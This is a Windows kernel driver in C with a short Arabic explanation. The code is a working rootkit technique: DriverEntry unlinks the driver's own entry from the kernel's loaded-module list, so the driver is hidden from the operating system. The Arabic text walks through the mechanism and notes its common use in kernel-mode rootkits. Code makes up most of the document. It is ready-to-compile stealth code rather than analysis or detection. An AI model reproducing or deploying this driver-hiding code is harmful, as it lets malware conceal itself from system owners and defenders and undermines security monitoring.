#include <ntddk.h>
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
struct _ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
{
PLDR_DATA_TABLE_ENTRY PrevEntry,ModuleEntry,NextEntry;
DbgPrint("DriverSection address: %#x",pDriverObject->DriverSection);
ModuleEntry=(PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
PrevEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Blink;
NextEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Flink;
PrevEntry->InLoadOrderLinks.Flink=ModuleEntry->InLoadOrderLinks.Flink;
NextEntry->InLoadOrderLinks.Blink=ModuleEntry->InLoadOrderLinks.Blink;
ModuleEntry->InLoadOrderLinks.Flink=(PLIST_ENTRY)ModuleEntry;
ModuleEntry->InLoadOrderLinks.Blink=(PLIST_ENTRY)ModuleEntry;
DbgPrint("Hidden driver loaded at address %#x",ModuleEntry->DllBase);
return STATUS_SUCCESS;
}
هذه البرمجية تلغي ارتباط مركز إدخال البيانات(data entry) لبرنامج تشغيل(driver) بال linked-list المتعلقة ب برامج التشغيل المحَمّلة(loaded drivers) علي نظام التشغيل.
عنوان كل driver object يتم تمريره الي داله DriverEntry عند تحميل ال drivers المطلوبة. من وظيفة DriverSection في هيكل البيانات DRIVER_OBJECT الإشارة إلي هيكل بيانات أخر LDR_DATA_TABLE_ENTRY الذي يضم المعلومات الخاصة ببرامج التشغيل المحّملة علي النظام(loaded drivers)، ومنها (base address-> DllBase, entry point address-> EntryPoint, ..etc).
عندما يبدأ نظام التشغيل عدّ ال drivers التي تم تحميلها، يبدأ من nt!PsLoadedModuleList وهي linked-list لمداخل/مراكز بيانات(data entries) برامج التشغيل المحمّلة (Loaded Drivers)، ومن هنا يتضح أنه عن طريق إلغاء إرتباط ال data entry الخاصة بأي برنامج تشغيل(driver) بتلك ال linked-list، لن يقوم نظام التشغيل بعده و بهذا يكون مخفيّ عن النظام.
هذه التقنية يشيع استخدامها في 'kernel-mode rootkits'.